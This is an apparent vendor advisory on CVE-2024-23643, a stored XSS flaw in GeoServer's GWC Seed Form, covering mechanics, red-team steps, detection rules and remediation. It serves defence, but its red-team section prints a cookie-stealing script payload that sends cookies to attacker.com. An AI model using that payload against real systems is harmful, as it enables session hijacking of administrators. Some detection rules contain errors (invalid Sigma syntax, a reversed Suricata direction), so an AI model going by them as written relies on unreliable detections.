CVE-2024-23643

Executive Summary

CVE-2024-23643 is a stored cross-site scripting (XSS) vulnerability in GeoServer, an open-source Java-based server for sharing and editing geospatial data. The vulnerability affects versions prior to 2.23.2 and 2.24.1. An authenticated administrator with workspace-level privileges can store a JavaScript payload in the GeoServer catalog. This payload executes in the context of another administrator's browser when they view the GWC Seed Form. The vulnerability has a CVSS score of 4.8 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild. No public proof-of-concept (POC) or exploit code is available at this time.

Supply Chain & Package Security

GeoServer is a Java-based application distributed as a WAR file or via Docker images. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a core application issue. Users should verify the integrity of their GeoServer distribution by checking checksums provided by the official GeoServer website. The fix is included in versions 2.23.2 and 2.24.1, which should be obtained from the official GeoServer repository.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – The attacker must be an authenticated administrator with workspace-level privileges.
• User Interaction (UI): Required (R) – The victim administrator must view the GWC Seed Form.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for high privileges and user interaction reduces the immediate risk, but the potential for cross-site scripting in an administrative context could lead to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability resides in the GeoWebCache (GWC) Seed Form, a component used to manage tile seeding and truncation. The GWC Seed Form allows administrators to configure seed tasks, including parameters that are stored in the GeoServer catalog. Due to insufficient input sanitization, an authenticated administrator with workspace-level privileges can inject a JavaScript payload into one of these parameters. When another administrator views the GWC Seed Form, the payload is rendered in their browser, leading to stored XSS.

The attack flow is as follows:

1. An attacker with workspace-level admin privileges logs into GeoServer.
2. The attacker navigates to the GWC Seed Form and injects a malicious JavaScript payload into a parameter (e.g., the seed task name or description).
3. The payload is stored in the GeoServer catalog (e.g., in the database or configuration files).
4. A victim administrator (with full admin privileges) accesses the GWC Seed Form to view or manage seed tasks.
5. The victim's browser executes the stored JavaScript payload, which can perform actions such as stealing session cookies, modifying GeoServer settings, or performing actions on behalf of the victim.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix involves proper encoding and sanitization of user input before rendering it in the GWC Seed Form.

Vulnerable vs. Patched Code

The vulnerable code likely involves rendering user-supplied input without proper escaping. For example, in a JSP or Java class handling the GWC Seed Form, input might be directly inserted into HTML without encoding.

Vulnerable Code (Conceptual):

// Vulnerable: Directly inserting user input into HTML
String seedTaskName = request.getParameter("seedTaskName");
out.println("<div>" + seedTaskName + "</div>");

Patched Code (Conceptual):

// Patched: Using output encoding to prevent XSS
String seedTaskName = request.getParameter("seedTaskName");
String encodedName = StringEscapeUtils.escapeHtml4(seedTaskName);
out.println("<div>" + encodedName + "</div>");

The actual patch in GeoServer 2.23.2 and 2.24.1 involves adding input validation and output encoding in the relevant Java classes, such as SeedForm.java or similar.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a GeoServer instance (version < 2.23.2 or < 2.24.1) with an authenticated administrator account that has workspace-level privileges.
• Knowledge of the GWC Seed Form URL (typically /geoserver/gwc/seed).

Exploitation Steps:

1. Log in to GeoServer as an administrator with workspace-level privileges.
2. Navigate to the GWC Seed Form (e.g., http://target/geoserver/gwc/seed).
3. In a parameter that is stored and displayed (e.g., the seed task name), inject a JavaScript payload. For example:

   <script>alert('XSS')</script>
   

   Or a more malicious payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. Submit the form to store the payload.
5. Wait for a victim administrator to view the GWC Seed Form. The payload will execute in their browser.

Note: No public exploit code is available. The above steps are based on the vulnerability description.

Blue Team

Detection and Prevention:

• Input Validation: Ensure all user inputs in the GWC Seed Form are validated and sanitized.
• Output Encoding: Encode all output to prevent script execution.
• Access Control: Restrict access to the GWC Seed Form to only trusted administrators. By default, only full administrators have access.
• Web Application Firewall (WAF): Deploy a WAF with rules to detect and block XSS payloads.
• Security Headers: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitoring: Monitor logs for unusual activity in the GWC Seed Form, such as unexpected parameters or repeated submissions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /geoserver/gwc/seed containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
  • Outbound connections from the GeoServer server to unknown external IPs (potential data exfiltration).
• File IOCs:
  • Modified configuration files in the GeoServer data directory (e.g., gwc-seed.xml or similar) containing JavaScript payloads.
• Log IOCs:
  • GeoServer logs showing unusual input in seed task parameters.
  • Web server logs (e.g., Apache, Nginx) showing requests to /geoserver/gwc/seed with encoded XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_23643_GeoServer_XSS {
    meta:
        description = "Detects stored XSS payloads in GeoServer GWC Seed Form"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23643"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/si
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: GeoServer Stored XSS in GWC Seed Form
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS attacks against GeoServer GWC Seed Form
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23643
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains:
            - '/geoserver/gwc/seed'
        cs-uri-query|re:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in seed task names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23643 GeoServer Stored XSS Attempt"; flow:to_server,established; content:"/geoserver/gwc/seed"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/si"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GeoServer: Upgrade to version 2.23.2 or 2.24.1, which contain the fix for this vulnerability.
2. Restrict Access: Limit access to the GWC Seed Form to only essential administrators. By default, only full administrators have access; do not grant non-administrators access to this endpoint.
3. Review Logs: Check GeoServer and web server logs for any signs of exploitation.

Long-Term Mitigations:

• Input Validation: Implement strict input validation for all user-supplied data in GeoServer.
• Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding) for all data rendered in web pages.
• Security Headers: Deploy Content Security Policy (CSP) headers to restrict script execution.
• Regular Updates: Keep GeoServer and all dependencies up to date.
• Security Audits: Conduct regular security audits and penetration testing of GeoServer instances.

Valters IT